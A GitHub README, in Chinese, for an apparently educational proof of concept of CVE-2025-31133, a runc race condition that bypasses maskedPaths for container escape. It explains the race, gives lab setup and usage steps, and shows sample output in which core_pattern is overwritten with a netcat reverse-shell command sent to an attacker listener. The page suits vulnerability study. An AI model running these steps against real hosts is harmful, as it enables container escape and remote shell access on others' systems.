C-h4ck-0/Learn-about-cve-2025-31133-poc

GitHub: C-h4ck-0/Learn-about-cve-2025-31133-poc

针对 runc 容器运行时 CVE-2025-31133 竞态条件漏洞的教学型 PoC,演示如何通过绕过 maskedPaths 保护实现容器逃逸。

Stars: 1 | Forks: 2

# 了解 CVE-2025-31133 PoC ## 概述 一个针对 **CVE-2025-31133** 的概念验证演示和学习环境,这是 runc 中的一个安全漏洞,允许通过竞态条件绕过 `maskedPaths` 保护。`maskedPaths` 旨在防止容器访问宿主机文件系统的敏感路径。 https://github.com/user-attachments/assets/d7b4ea43-6cab-4ac5-bb07-08bc46479910 ### 漏洞详情 - **CVE ID**: CVE-2025-31133 - **组件**: runc (容器运行时) - **攻击向量**: maskedPaths 处理中的竞态条件 - **影响**: 容器逃逸 ### 工作原理 该漏洞利用了以下竞态条件: 1. 容器配置了 `maskedPaths` 以保护敏感文件(例如,`/proc/sys/kernel/core_pattern`) 2. 在容器初始化期间,在以下操作之间发生竞态条件: - 删除容器 rootfs 中的设备节点 (`/dev/null`) - 重新创建该设备节点 3. 这个时间窗口允许绕过掩码路径保护 4. 攻击者可以写入本应被掩码保护的受保护文件 ## ⚠️ 免责声明 **此仓库仅供教育目的使用。** - 请仅在隔离的、受控的环境中使用 - 请勿在没有明确测试权限或非本人所有的系统上使用 - 作者不对任何代码滥用行为负责 - 此漏洞利用可能导致系统不稳定或数据丢失 ## 前置条件 - Linux 系统(推荐使用 Ubuntu) - Root/sudo 权限 - 互联网连接 - 对容器运行时和安全性的基本了解 ## 设置说明 ### 1. 克隆或下载此仓库 ``` git clone https://github.com/C-h4ck-0/Learn-about-cve-2025-31133-poc.git cd Learn-about-cve-2025-31133-poc ``` ### 2. 运行实验环境设置脚本 `lab-setup.sh` 脚本将会: - 安装依赖项 - 设置存在漏洞的 runc v1.2.0 ``` chmod +x lab-setup.sh ./lab-setup.sh ``` ### 3. 验证设置 检查是否已安装存在漏洞的 runc 版本: ``` runc --version ``` 你应该会看到 `1.2.0` 或类似版本。 ## 运行漏洞利用 ### 基本用法 1. 在你的攻击者机器上**启动一个监听器**以接收反弹 shell: ``` nc -lnvp ``` 2. **运行漏洞利用脚本**: ``` chmod +x cve-2025-31133-exploit.sh ./cve-2025-31133-exploit.sh ``` 3. 在出现提示时**提供所需信息**: - 攻击者 IP 地址 - 攻击者端口(你的监听器运行的端口) ### 预期输出 成功后,你应该会看到: ``` [*] Compiling race condition exploit binary... [*] Starting exploit attempts... [*] Target: /proc/sys/kernel/core_pattern [*] Backing up /proc/sys/kernel/core_pattern... [*] Backup created at /tmp/core_pattern.bak [*] Current content of target: |/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E ==================================================== [*] Testing delay: 5 microseconds ==================================================== X.. [+] ======================================== [+] SUCCESS! Exploit succeeded. [+] ======================================== [+] Original content: |/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E ------------------------------------------------ [+] Modified content: |/bin/nc.traditional -e /bin/bash ------------------------------------------------ ./exploit.sh: line 148: 7068 Segmentation fault (core dumped) sleep 5 [*] Restoring original content... [*] Restoration complete. ``` 一个反弹 shell 连接应该会建立到你的监听器。 ## 缓解措施 要防御此漏洞: 1. **更新 runc** 到已修补的版本(v1.2.1 或更高版本) 2. **定期更新容器运行时** 3. **使用最小权限原则** - 在非 root 用户命名空间中运行容器 ## 参考文献 - [邮件存档](https://seclists.org/oss-sec/2025/q4/138) - [漏洞 PoC GitHub 仓库](https://github.com/skynet-f-nvidia/CVE-2025-31133) ## 备注 - 由于竞态条件的特性,漏洞利用可能需要多次尝试才能成功 - 成功率取决于系统负载和时机 - 脚本会在成功利用后自动恢复原始的 `core_pattern` - 清理工作通过 trap 处理程序自动完成 ## 许可证 本项目仅提供用于教育目的。请负责任且符合道德规范地使用。 **请记住**:请始终负责任地使用安全研究工具,并且仅在你拥有或已获得明确测试权限的环境中使用。
标签:CVE-2025-31133, Docker安全, exploit, maskedPaths, PoC, runc, Web截图, Web报告查看器, 协议分析, 子域名枚举, 容器安全, 容器逃逸, 应用安全, 暴力破解, 权限提升, 概念验证, 漏洞分析, 漏洞复现, 竞态条件, 系统安全, 网络安全, 路径探测, 隐私保护